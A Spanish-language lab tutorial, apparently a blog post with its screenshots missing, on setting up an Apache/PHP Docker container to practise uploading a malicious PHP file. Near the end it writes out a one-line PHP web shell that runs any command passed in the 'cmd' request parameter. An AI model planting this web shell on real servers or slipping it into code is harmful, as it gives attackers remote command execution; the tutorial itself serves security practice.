Podemos crear un contenedor de Docker que tenga un servidor web que interprete php; y de esta forma practixar con la subida de un fichero php malicioso para obtener ejecución remota de comandos. Por tanto nos creamos el Dockerfile de docker para montar la imagen con todo lo necesario:
A continuación ejecutamos el comando Docker Build para crear la imagen a partir de este Dockerfile:
Y vemos que al ejecutarlo hay un punto donde nos pide la zona geográfica y se queda bloqueado:
Aquí, si miramos por internet y usamos la IA, vemos que en el Dockerfile hay que poner un parámetro para corregir esto:
Por tanto loa añadimos al Dockerfile:
Ahora la instalación procederá correctamente al ejecutar el Docker Build. Por tanto ahora vamos a entrar dentro de este contenedor para exponer el puerto 80:
Instalamos systemctl para arrancar el proceso de apache:
apt install systemctl
systemctl start apache2
Y ahora este contenedor que tiene expuesto el puerto 80 significa que si accedemos desde la máquina anfitrión al localhost, podremos acceder a la plantilla por defecto de apache:
Ahora dentro del contenedor con nano pwned.php (por ejemplo), nos creamos un fichero php malicioso:
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>
Y entonces así nos quedaría el directorio del servidor web:
Esto significa que si dentro del servidor de apache llamamos a este archivo, vamos a acceder a él pudiendo ejecutar un comando: